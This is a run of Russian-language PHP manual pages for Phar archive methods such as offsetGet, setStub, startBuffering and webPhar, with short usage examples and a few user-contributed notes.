  • Phar::offsetGet() - Получить объект PharFileInfo для конкретного файла
  • Phar::offsetSet() - Изменение содержимого файла
  • Phar::offsetUnset() - Удалить файл из phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Получить объект PharFileInfo для конкретного файла

  • « Phar::offsetExists
  • Phar::offsetSet »
  • PHP Manual
  • Phar
  • Получить объект PharFileInfo для конкретного файла

Phar::offsetGet

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::offsetGet — Получить объект PharFileInfo для конкретного файла

Описание

public Phar::offsetGet(string $localName): SplFileInfo

Это реализация интерфейса ArrayAccess, позволяющая манипулировать содержимым Phar-архива в стиле доступа к элементам массива. Phar::offsetGet() используется для извлечения файлов из архива.

Список параметров

localName

Имя файла (относительный путь).

Возвращаемые значения

Объект класса PharFileInfo. Можно использовать для получения информации о файле и для извлечения контента через итерирование.

Ошибки

Выбрасывает исключение BadMethodCallException, если такого файла нет.

Примеры

Пример #1 Пример использования Phar::offsetGet()

Как и для любого другого класса, реализующего ArrayAccess, метод Phar::offsetGet() будет вызван автоматически при использовании оператора [].

<?php
$p = new Phar(dirname(__FILE__) . '/myphar.phar', 0, 'myphar.phar');
$p['exists.txt'] = "file exists\n";
try {
// автоматический вызов offsetGet()
echo $p['exists.txt'];
echo $p['doesnotexist.txt'];
} catch (BadMethodCallException $e) {
echo $e;
}
?>

Результат выполнения данного примера:

file exists
Entry doesnotexist.txt does not exist

Смотрите также

  • Phar::offsetExists() - Определить, есть ли файл в архиве
  • Phar::offsetSet() - Изменение содержимого файла
  • Phar::offsetUnset() - Удалить файл из phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Изменение содержимого файла

  • « Phar::offsetGet
  • Phar::offsetUnset »
  • PHP Manual
  • Phar
  • Изменение содержимого файла

Phar::offsetSet

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::offsetSet — Изменение содержимого файла

Описание

public Phar::offsetSet(string $localName, resource|string $value): void

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Это реализация интерфейса ArrayAccess, позволяющая манипулировать содержимым Phar-архива в стиле доступа к элементам массива. offsetSet используется для изменения контента существующего файла, либо для создания нового.

Список параметров

localName

Имя файла (относительный путь).

value

Содержимое файла.

Возвращаемые значения

Ничего не возвращает.

Ошибки

Если опция phar.readonly установлен в 1, то будет выброшено исключение BadMethodCallException, так как модифицировать Phar-архив можно только, если phar.readonly равен 0. Если возникнут какие либо проблемы с записью на диск - выбрасывается исключение PharException.

Примеры

Пример #1 Пример использования Phar::offsetSet()

offsetSet не нужно вызывать напрямую. Используйте синтаксис [].

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
try {
// вызов offsetSet
$p['file.txt'] = 'Hi there';
} catch (Exception $e) {
echo 'Не могу изменить file.txt:', $e;
}
?>

Примечания

Замечание: Phar::addFile(), Phar::addFromString() и Phar::offsetSet() сохраняет новый phar-архив каждый раз при их вызове. Если производительность вызывает беспокойство, вместо этого следует использовать Phar::buildFromDirectory() или Phar::buildFromIterator().

Смотрите также

  • Phar::offsetExists() - Определить, есть ли файл в архиве
  • Phar::offsetGet() - Получить объект PharFileInfo для конкретного файла
  • Phar::offsetUnset() - Удалить файл из phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Удалить файл из phar-архива

  • « Phar::offsetSet
  • Phar::running »
  • PHP Manual
  • Phar
  • Удалить файл из phar-архива

Phar::offsetUnset

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::offsetUnset — Удалить файл из phar-архива

Описание

public Phar::offsetUnset(string $localName): void

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Это реализация интерфейса ArrayAccess, позволяющая манипулировать содержимым Phar-архива в стиле доступа к элементам массива. offsetUnset используется для удаления файлов и запускается каждый раз, когда используется конструкция unset().

Список параметров

localName

Имя файла (относительный путь).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Если опция phar.readonly установлен в 1, то будет выброшено исключение BadMethodCallException, так как модифицировать Phar-архив можно только, если phar.readonly равен 0. Если возникнут какие-либо проблемы с записью на диск - выбрасывается исключение PharException.

Примеры

Пример #1 Пример использования Phar::offsetUnset()

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
try {
// удаляет file.txt из my.phar путём вызова offsetUnset
unset($p['file.txt']);
} catch (Exception $e) {
echo 'Не удалось удалить file.txt: ', $e;
}
?>

Смотрите также

  • Phar::offsetExists() - Определить, есть ли файл в архиве
  • Phar::offsetGet() - Получить объект PharFileInfo для конкретного файла
  • Phar::offsetSet() - Изменение содержимого файла
  • Phar::unlinkArchive() - Полностью удалить архив из памяти и с диска
  • Phar::delete() - Удаляет файл внутри phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Получить полный путь на диске, либо полный URL запущенного Phar-архива

  • « Phar::offsetUnset
  • Phar::setAlias »
  • PHP Manual
  • Phar
  • Получить полный путь на диске, либо полный URL запущенного Phar-архива

Phar::running

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::running — Получить полный путь на диске, либо полный URL запущенного Phar-архива

Описание

final public static Phar::running(bool $returnPhar = true): string

Возвращает полный путь запущенного phar-архива. Используется для того же, для чего используется константа __FILE__ и работает только внутри запущенного phar-архива.

При запуске Phar::running() из загрузчика результат будет "". Внутри загрузчика используйте константу __FILE__.

Список параметров

returnPhar

Если false, то будет возвращён полный дисковый путь к phar-архиву. Если true, то будет возвращён полный URL.

Возвращаемые значения

Вернёт путь, если он корректен, либо пустую строку.

Примеры

Пример #1 Пример использования Phar::running()

Для следующего примера предположим, что архив находится по пути /path/to/phar/my.phar.

<?php
$a = Phar::running(); // $a равно "phar:///path/to/my.phar"
$b = Phar::running(false); // $b равно "/path/to/my.phar"
?>

User Contributed Notes

There are no user contributed notes for this page.


Установить псевдоним для Phar-архива

  • « Phar::running
  • Phar::setDefaultStub »
  • PHP Manual
  • Phar
  • Установить псевдоним для Phar-архива

Phar::setAlias

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.1)

Phar::setAlias — Установить псевдоним для Phar-архива

Описание

public Phar::setAlias(string $alias): bool

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Устанавливает псевдоним для Phar-архива и записывает его как постоянный псевдоним для этого архива. Псевдоним можно использовать внутри phar-архива для уверенности в том, что доступ через потоковую обёртку phar для доступа к внутренним файлам будет работать всегда, независимо от местоположения phar-архива на файловой системе. Другой альтернативой является надежда на перехват include или использование Phar::interceptFileFuncs() совместно с относительными путями.

Список параметров

alias

Короткое имя, которое можно будет использовать с доступом через потоковую обёртку phar.

Возвращаемые значения

Ошибки

Выбрасывает исключение UnexpectedValueException, если доступ запрещён и PharException, если псевдоним уже используется, или возникли проблемы с записью на диск.

Примеры

Пример #1 Пример использования Phar::setAlias()

<?php
try {
$phar = new Phar('myphar.phar');
$phar->setAlias('myp.phar');
} catch (Exception $e) {
// обработка ошибок
}
?>

Смотрите также

  • Phar::__construct() - Создаёт объект Phar-архива
  • Phar::interceptFileFuncs() - Указывает phar перехватывать fopen, file_get_contents, opendir и все stat-функции

User Contributed Notes

There are no user contributed notes for this page.


Установить загрузчик PHP или начальную заглушку Phar-архива в загрузчик по умолчанию

  • « Phar::setAlias
  • Phar::setMetadata »
  • PHP Manual
  • Phar
  • Установить загрузчик PHP или начальную заглушку Phar-архива в загрузчик по умолчанию

Phar::setDefaultStub

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::setDefaultStub — Установить загрузчик PHP или начальную заглушку Phar-архива в загрузчик по умолчанию

Описание

public Phar::setDefaultStub(?string $index = null, ?string $webIndex = null): bool

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Этот метод комбинирует функциональность двух других методов, Phar::createDefaultStub() и Phar::setStub().

Список параметров

index

Относительный путь в phar-архиве для запуска при доступе из командной строки

webIndex

Относительный путь в phar-архиве для запуска при доступе из веб-браузера

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Будет выброшено исключение UnexpectedValueException, если phar.readonly разрешено в php.ini. В случае проблем с записью на диск будет выброшено исключение PharException.

Список изменений

Версия | Описание
8.0.0 | webIndex теперь допускает значение null.

Примеры

Пример #1 Пример использования Phar::setDefaultStub()

<?php
try {
$phar = new Phar('myphar.phar');
$phar->setDefaultStub('cli.php', 'web/index.php');
// это аналогично такому коду:
// $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
} catch (Exception $e) {
// обработка ошибок
}
?>

Смотрите также

  • Phar::setStub() - Установить загрузчик или загрузочную заглушку в Phar-архив
  • Phar::createDefaultStub() - Создать заглушку в формате phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Установить метаданные phar-архива

  • « Phar::setDefaultStub
  • Phar::setSignatureAlgorithm »
  • PHP Manual
  • Phar
  • Установить метаданные phar-архива

Phar::setMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::setMetadata — Установить метаданные phar-архива

Описание

public Phar::setMetadata(mixed $metadata): void

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Функция Phar::setMetadata() используется для сохранения данных, характеризующих phar-архив в целом. PharFileInfo::setMetadata() используется для установки метаданных для конкретного файла. Если метаданных будет много, то это может снизить скорость загрузки phar-архива.

Метаданные можно использовать, например, для указания, какой файл должен исполняться при загрузке, или для указания местоположения манифеста, типа package.xml для модуля » PEAR. В общем, любые полезные в контексте phar-архива данные.

Список параметров

metadata

Любая переменная PHP, содержащая необходимую информацию

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Phar::setMetadata()

<?php
// удалим, на всякий случай
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file.php'] = '<?php echo "привет"';
$p->setMetadata(array('bootstrap' => 'file.php'));
var_dump($p->getMetadata());
} catch (Exception $e) {
echo 'Не могу создать/изменить phar:', $e;
}
?>

Результат выполнения данного примера:

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

Смотрите также

  • Phar::getMetadata() - Извлечь метаданные phar-архива
  • Phar::delMetadata() - Удалить глобальные метаданные в архиве phar
  • Phar::hasMetadata() - Проверить, содержит ли phar-архив глобальные метаданные

User Contributed Notes

There are no user contributed notes for this page.


Установить алгоритм подписания phar-архива и применение его

  • « Phar::setMetadata
  • Phar::setStub »
  • PHP Manual
  • Phar
  • Установить алгоритм подписания phar-архива и применение его

Phar::setSignatureAlgorithm

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.1.0)

Phar::setSignatureAlgorithm — Установить алгоритм подписания phar-архива и применение его

Описание

public Phar::setSignatureAlgorithm(int $algo, ?string $privateKey = null): void

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Устанавливает алгоритм подписания phar-архива и применяет его.
Доступны следующие алгоритмы подписания: Phar::MD5,
Phar::SHA1, Phar::SHA256,
Phar::SHA512 и Phar::OPENSSL.

Обратите внимание, что для всех исполняемых phar-архивов подпись создаётся автоматически, с использованием по умолчанию SHA1. Архивы с данными на основе tar или zip (созданные с помощью класса PharData) должны иметь явно созданную с помощью Phar::setSignatureAlgorithm() подпись.

Список параметров

algo

Одна из констант: Phar::MD5,
Phar::SHA1, Phar::SHA256,
Phar::SHA512 или Phar::OPENSSL

privateKey

Секретный ключ OpenSSL, извлечённый из сертификата, либо файл с ключом OpenSSL:

<?php
$private = openssl_get_privatekey(file_get_contents('private.pem'));
$pkey = '';
openssl_pkey_export($private, $pkey);
$p->setSignatureAlgorithm(Phar::OPENSSL, $pkey);
?>
Подробности об именовании и размещении файла открытого ключа смотрите в разделе Введение в phar.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение UnexpectedValueException при любых ошибках, кроме ошибок записи на диск. При ошибках записи на диск выбрасывает исключение PharException.

Список изменений

Версия | Описание
8.0.0 | privateKey теперь допускает значение null.

Смотрите также

  • Phar::getSupportedSignatures() - Получить массив поддерживаемых алгоритмов подписи архива
  • Phar::getSignature() - Получить MD5/SHA1/SHA256/SHA512/OpenSSL подпись Phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Установить загрузчик или загрузочную заглушку в Phar-архив

  • « Phar::setSignatureAlgorithm
  • Phar::startBuffering »
  • PHP Manual
  • Phar
  • Установить загрузчик или загрузочную заглушку в Phar-архив

Phar::setStub

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::setStub — Установить загрузчик или загрузочную заглушку в Phar-архив

Описание

public Phar::setStub(resource|string $stub, int $length = -1): bool

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Этот метод используется для добавления начальной загрузочной заглушки PHP (PHP bootstrap loader stub) в новый Phar-архив, либо для замены уже существующего загрузочной заглушки.

Загрузчик заглушки используется при подключении Phar-архива с помощью included:

<?php
include 'myphar.phar';
?>

Загрузчик не доступен, когда архив включается с использованием обёртки phar, как в примере ниже:

<?php
include 'phar://myphar.phar/somefile.php';
?>

Список параметров

stub

Строка, либо открытый ресурс потока.

length

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выбрасывается исключение UnexpectedValueException, если phar.readonly разрешено в php.ini. В случае проблем с записью на диск будет выброшено исключение PharException.

Список изменений

Версия | Описание
8.3.0 | Вызов метода Phar::setStub() с ресурсом (resource) и параметром length теперь является устаревшим. Такие вызовы должны быть заменены на: $phar->setStub(stream_get_contents($resource));

Примеры

Пример #1 Пример использования Phar::setStub()

<?php
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['a.php'] = '<?php var_dump("Hello");';
$p->setStub('<?php var_dump("First"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>');
include 'phar://brandnewphar.phar/a.php';
var_dump($p->getStub());
$p['b.php'] = '<?php var_dump("World");';
$p->setStub('<?php var_dump("Second"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>');
include 'phar://brandnewphar.phar/b.php';
var_dump($p->getStub());
} catch (Exception $e) {
echo 'Операции записи на brandnewphar.phar завершились неудачей: ', $e;
}
?>

Результат выполнения данного примера:

string(5) "Hello"
string(82) "<?php var_dump("First"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>"
string(5) "World"
string(83) "<?php var_dump("Second"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>"

Смотрите также

  • Phar::getStub() - Получить загрузчик PHP или загрузчик заглушки Phar-архива
  • Phar::createDefaultStub() - Создать заглушку в формате phar-архива

User Contributed Notes

Scott Dutton 08-Jan-2018 09:57
Its not clear in the docs but __HALT_COMPILER() is required in the stub.
Olivier Laviale 17-Jul-2011 07:14
If your stub has a namespace, it is used for each include that doesn't define one.
jaimz22 at gmail dot com 16-Jan-2008 03:04
One thing I had alot of problems with, is that i can't set the stub unless I put the whole operation inside of a try/catch block!

If i remove the try/catch block it will error our and not write the stub with the content i want it to have.


Запускает буферизацию операций записи, отключая запись изменений Phar-архива на диск

  • « Phar::setStub
  • Phar::stopBuffering »
  • PHP Manual
  • Phar
  • Запускает буферизацию операций записи, отключая запись изменений Phar-архива на диск

Phar::startBuffering

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::startBuffering — Запускает буферизацию операций записи, отключая запись изменений Phar-архива на диск

Описание

public Phar::startBuffering(): void

Метод Phar::startBuffering() может дать значительный прирост производительности при создании, либо модификации phar-архива с большим количеством файлов. Обычно, когда добавляется новый файл, либо изменяется существующий, запускается операция пересоздания phar-архива. С включённой буферизацией архив будет пересоздан один раз в самом конце внесения изменений.

Эта концепция работает аналогично транзакции в базе данных, что позволяет сделать вне необходимые изменения и применить их одновременно, в рамках одной операции. Такое поведение обеспечивает пара методов Phar::startBuffering()/Phar::stopBuffering().

Настройки буферизации индивидуальны для каждого архива. Включённая буферизация для foo.phar никак не влияет на режим работы с bar.phar.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Phar::startBuffering()

<?php
// удалим на всякий случай
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
echo 'не могу создать phar:', $e;
}
echo 'В новом phar содержится ' . $p->count() . " записей\n";
$p->startBuffering();
$p['file.txt'] = 'hi';
$p['file2.txt'] = 'there';
$p['file2.txt']->setCompressedGZ();
$p['file3.txt'] = 'babyface';
$p['file3.txt']->setMetadata(42);
$p->setStub("<?php
function __autoload($class)
{
include 'phar://myphar.phar/' . str_replace('_', '/', $class) . '.php';
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER();");
$p->stopBuffering();
?>

Смотрите также

  • Phar::stopBuffering() - Останавливает буферизацию и записывает все изменения на диск
  • Phar::isBuffering() - Проверить, будут ли операции с Phar-архивом буферизованы или записаны напрямую на диск

User Contributed Notes

anon at php dot com 29-Nov-2020 02:24
To setthe  ini key phar.readonly to 0, from a unix shell script, this is possible on the fly it is possible see below.
The example given on this page has some issues with quoting: (See conversion to simple quotes)

#!/usr/bin/php -d phar.readonly=0
<?php
print(ini_get('phar.readonly')); // Must return 0
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
    echo 'Could not create phar:', $e;
}
echo 'The new phar has ' . $p->count() . " entries\n";
$p->startBuffering();
$p['file.txt'] = 'hi';
$p['file2.txt'] = 'there';
$p['file2.txt']->compress(Phar::GZ);
$p['file3.txt'] = 'babyface';
$p['file3.txt']->setMetadata(42);
$p->setStub('<?php
function __autoload($class)
{
    include "phar://myphar.phar/" . str_replace("_", "/", $class) . ".php";
}
Phar::mapPhar("myphar.phar");
include "phar://myphar.phar/startup.php";
__HALT_COMPILER();');
$p->stopBuffering();

// Test
$m = file_get_contents("phar://brandnewphar.phar/file2.txt");
$m = explode("\n",$m);
var_dump($m);
/* Output:
* there
**/


Останавливает буферизацию и записывает все изменения на диск

  • « Phar::startBuffering
  • Phar::unlinkArchive »
  • PHP Manual
  • Phar
  • Останавливает буферизацию и записывает все изменения на диск

Phar::stopBuffering

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::stopBuffering — Останавливает буферизацию и записывает все изменения на диск

Описание

public Phar::stopBuffering(): void

Метод Phar::stopBuffering() используется совместно с методом Phar::startBuffering(). Phar::startBuffering() может дать значительный прирост производительности при создании, либо модификации phar-архива с большим количеством файлов. Обычно, когда добавляется новый файл, либо изменяется существующий, запускается операция пересоздания phar-архива. С включённой буферизацией архив будет пересоздан один раз в самом конце внесения изменений.

Эта концепция работает аналогично транзакции в базе данных, что позволяет сделать вне необходимые изменения и применить их одновременно, в рамках одной операции. Такое поведение обеспечивает пара методов Phar::startBuffering()/Phar::stopBuffering().

Настройки буферизации индивидуальны для каждого архива. Включённая буферизация для foo.phar никак не влияет на режим работы с bar.phar.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

В случае проблем с записью на диск будет выброшено исключение PharException.

Примеры

Пример #1 Пример использования Phar::stopBuffering()

<?php
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file1.txt'] = 'hi';
$p->startBuffering();
var_dump($p->getStub());
$p->setStub("<?php
function __autoload(\$class)
{
include 'phar://brandnewphar.phar/' . str_replace('_', '/', \$class) . '.php';
}
Phar::mapPhar('brandnewphar.phar');
include 'phar://brandnewphar.phar/startup.php';
__HALT_COMPILER();");
$p->stopBuffering();
var_dump($p->getStub());
?>

Результат выполнения данного примера:

string(24) "<?php __HALT_COMPILER();"
string(195) "<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('brandnewphar.phar');
include 'phar://brandnewphar.phar/startup.php';
__HALT_COMPILER();"

Смотрите также

  • Phar::startBuffering() - Запускает буферизацию операций записи, отключая запись изменений Phar-архива на диск
  • Phar::isBuffering() - Проверить, будут ли операции с Phar-архивом буферизованы или записаны напрямую на диск

User Contributed Notes

There are no user contributed notes for this page.


Полностью удалить архив из памяти и с диска

  • « Phar::stopBuffering
  • Phar::webPhar »
  • PHP Manual
  • Phar
  • Полностью удалить архив из памяти и с диска

Phar::unlinkArchive

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::unlinkArchive — Полностью удалить архив из памяти и с диска

Описание

final public static Phar::unlinkArchive(string $filename): bool

Полностью удаляет архив из памяти и с диска.

Список параметров

filename

Путь к архиву на файловой системе.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

В случае присутствия открытых файловых дескрипторов к архиву или объектов Phar, PharData, PharFileInfo, ссылающихся на этот архив, будет выброшено исключение PharException.

Примеры

Пример #1 Пример использования Phar::unlinkArchive()

<?php
// простое использование
Phar::unlinkArchive('/path/to/my.phar');

// более частый вариант использования:
$p = new Phar('my.phar');
$fp = fopen('phar://my.phar/file.txt', 'r');
// создаётся 'my.phar.gz'
$gp = $p->compress(Phar::GZ);
// удаляются все ссылки на архив
unset($p);
fclose($fp);
// удаляются все следы существования
Phar::unlinkArchive('my.phar');
?>

Смотрите также

  • Phar::delete() - Удаляет файл внутри phar-архива
  • Phar::offsetUnset() - Удалить файл из phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Направляет запрос из браузера во внутренний файл в phar-архиве

  • « Phar::unlinkArchive
  • PharData »
  • PHP Manual
  • Phar
  • Направляет запрос из браузера во внутренний файл в phar-архиве

Phar::webPhar

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::webPhar — Направляет запрос из браузера во внутренний файл в phar-архиве

Описание

final public static Phar::webPhar(
?string $alias = null,
?string $index = null,
?string $fileNotFoundScript = null,
array $mimeTypes = [],
?callable $rewrite = null
): void

Phar::webPhar() служит Phar::mapPhar() для веб-архивов phar. Метод анализирует $_SERVER['REQUEST_URI'] и направляет запрос из браузера во внутренний файл в phar-архиве. Он имитирует веб-сервер, направляет запросы к нужному файлу, отображает правильные заголовки и анализирует файлы PHP по мере необходимости. В сочетании с Phar::mungServer() и Phar::interceptFileFuncs(), любое веб-приложение можно использовать без изменений из phar-архива.

Phar::webPhar() должен вызываться только из заглушки (stub) phar-архива (о том, что такое заглушка и как с ним работать, читайте тут).

Список параметров

alias

Псевдоним для использования в обёртках phar://.

index

Местоположение в phar-архиве индексного файла.

fileNotFoundScript

Местоположение скрипта, отвечающего за обработку ошибки HTTP 404. Скрипт должен возвращать корректные заголовки для этой ошибки.

mimeTypes

Массив сопоставления расширений файлов типам MIME. Если достаточно сопоставления по умолчанию, то передайте сюда пустой массив. По умолчанию используются такие сопоставления:

<?php
$mimes = array(
'phps' => Phar::PHPS, // передаётся в highlight_file()
'c' => 'text/plain',
'cc' => 'text/plain',
'cpp' => 'text/plain',
'c++' => 'text/plain',
'dtd' => 'text/plain',
'h' => 'text/plain',
'log' => 'text/plain',
'rng' => 'text/plain',
'txt' => 'text/plain',
'xsd' => 'text/plain',
'php' => Phar::PHP, // разбирается как PHP
'inc' => Phar::PHP, // разбирается как PHP
'avi' => 'video/avi',
'bmp' => 'image/bmp',
'css' => 'text/css',
'gif' => 'image/gif',
'htm' => 'text/html',
'html' => 'text/html',
'htmls' => 'text/html',
'ico' => 'image/x-ico',
'jpe' => 'image/jpeg',
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'js' => 'application/x-javascript',
'midi' => 'audio/midi',
'mid' => 'audio/midi',
'mod' => 'audio/mod',
'mov' => 'movie/quicktime',
'mp3' => 'audio/mp3',
'mpg' => 'video/mpeg',
'mpeg' => 'video/mpeg',
'pdf' => 'application/pdf',
'png' => 'image/png',
'swf' => 'application/shockwave-flash',
'tif' => 'image/tiff',
'tiff' => 'image/tiff',
'wav' => 'audio/wav',
'xbm' => 'image/xbm',
'xml' => 'text/xml',
);
?>

rewrite

Функция перезаписи, которой передаётся единственный строковый параметр и которая должна также вернуть строку, либо false.

Если вы используете fast-cgi или cgi, то параметром, передаваемым в эту функцию будет значение переменной $_SERVER['PATH_INFO']. В ином случае передаваться будет значение переменной $_SERVER['REQUEST_URI'].

Если будет возвращена строка, то она будет использована как путь к файлу внутри архива. Если вернётся false, то webPhar() пошлёт код ошибки HTTP 403.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбросит исключение PharException, если будет невозможно открыть какой-либо файл, либо если вызывать её не из заглушки. Если в параметре mimeTypes указать некорректный MIME-тип, или в rewrite будет передана некорректная функция обратного вызова, то будет выброшено исключение UnexpectedValueException.

Список изменений

Версия | Описание
8.0.0 | Параметр fileNotFoundScript и rewrite теперь допускают значение null.

Примеры

Пример #1 Пример использования Phar::webPhar()

В примере ниже, созданный phar отобразит Hello World при обращении из браузера к /myphar.phar/index.php или к /myphar.phar, и отобразит исходный код index.phps при обращении к /myphar.phar/index.phps.

<?php
// создаём архив:
try {
$phar = new Phar('myphar.phar');
$phar['index.php'] = '<?php echo "Hello World"; ?>';
$phar['index.phps'] = '<?php echo "Hello World"; ?>';
$phar->setStub('<?php
Phar::webPhar();
__HALT_COMPILER(); ?>');
} catch (Exception $e) {
// обработка ошибок
}
?>

Смотрите также

  • Phar::mungServer() - Определить список до четырёх $_SERVER-переменных, которые должны быть изменены для запуска
  • Phar::interceptFileFuncs() - Указывает phar перехватывать fopen, file_get_contents, opendir и все stat-функции

User Contributed Notes

James 06-Oct-2012 07:55
It seems that calling Phar::webPhar() from inside a function is a bad idea.  Doing so will cause global variables in included files to not be global.  For instance, do NOT try this:

<?php
$phar = new Phar('test.phar.php');
$phar['test.php'] = '<?php
$FOO = "globals work";
function test() {
  global $FOO;
  echo "test: $FOO\n";
}
test();
?>';
$phar->setStub('<?php
function _bootstrap() {
Phar::webPhar();
}
_bootstrap();
__HALT_COMPILER(); ?>');
?>

The output will be "test:", not "test: globals work".


Класс PharData

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Введение

Класс PharData предоставляет высокоуровневый интерфейс доступа и создания неисполняемых tar- и zip-архивов. Поскольку архивы этих типов не содержат заглушку и не могут быть выполнены модулем Phar, есть возможность создавать и обрабатывать обычные zip- и tar-файлы, используя класс PharData, даже если параметр phar.readonly в php.ini равен 1.

Обзор классов

class PharData extends RecursiveDirectoryIterator implements Countable, ArrayAccess {
/* Наследуемые константы */
public const int FilesystemIterator::CURRENT_MODE_MASK;
public const int FilesystemIterator::CURRENT_AS_PATHNAME;
public const int FilesystemIterator::CURRENT_AS_FILEINFO;
public const int FilesystemIterator::CURRENT_AS_SELF;
public const int FilesystemIterator::KEY_MODE_MASK;
public const int FilesystemIterator::KEY_AS_PATHNAME;
public const int FilesystemIterator::FOLLOW_SYMLINKS;
public const int FilesystemIterator::KEY_AS_FILENAME;
public const int FilesystemIterator::NEW_CURRENT_AND_KEY;
public const int FilesystemIterator::OTHER_MODE_MASK;
public const int FilesystemIterator::SKIP_DOTS;
public const int FilesystemIterator::UNIX_PATHS;
/* Методы */
public __construct(
string $filename,
int $flags = FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS,
?string $alias = null,
int $format = 0
)
public addEmptyDir(string $directory): void
public addFile(string $filename, ?string $localName = null): void
public addFromString(string $localName, string $contents): void
public buildFromDirectory(string $directory, string $pattern = ""): array
public buildFromIterator(Traversable $iterator, ?string $baseDirectory = null): array
public compress(int $compression, ?string $extension = null): ?PharData
public compressFiles(int $compression): void
public convertToData(?int $format = null, ?int $compression = null, ?string $extension = null): ?PharData
public convertToExecutable(?int $format = null, ?int $compression = null, ?string $extension = null): ?Phar
public copy(string $from, string $to): bool
public decompress(?string $extension = null): ?PharData
public decompressFiles(): bool
public delMetadata(): bool
public delete(string $localName): bool
public extractTo(string $directory, array|string|null $files = null, bool $overwrite = false): bool
public isWritable(): bool
public offsetSet(string $localName, resource|string $value): void
public offsetUnset(string $localName): void
public setAlias(string $alias): bool
public setDefaultStub(?string $index = null, ?string $webIndex = null): bool
public setMetadata(mixed $metadata): void
public setSignatureAlgorithm(int $algo, ?string $privateKey = null): void
public setStub(string $stub, int $len = -1): bool
public __destruct()
/* Наследуемые методы */
public RecursiveDirectoryIterator::getChildren(): RecursiveDirectoryIterator
public RecursiveDirectoryIterator::getSubPath(): string
public RecursiveDirectoryIterator::getSubPathname(): string
public RecursiveDirectoryIterator::hasChildren(bool $allowLinks = false): bool
public RecursiveDirectoryIterator::key(): string
public RecursiveDirectoryIterator::next(): void
public RecursiveDirectoryIterator::rewind(): void
public FilesystemIterator::current(): string|SplFileInfo|FilesystemIterator
public FilesystemIterator::getFlags(): int
public FilesystemIterator::key(): string
public FilesystemIterator::next(): void
public FilesystemIterator::rewind(): void
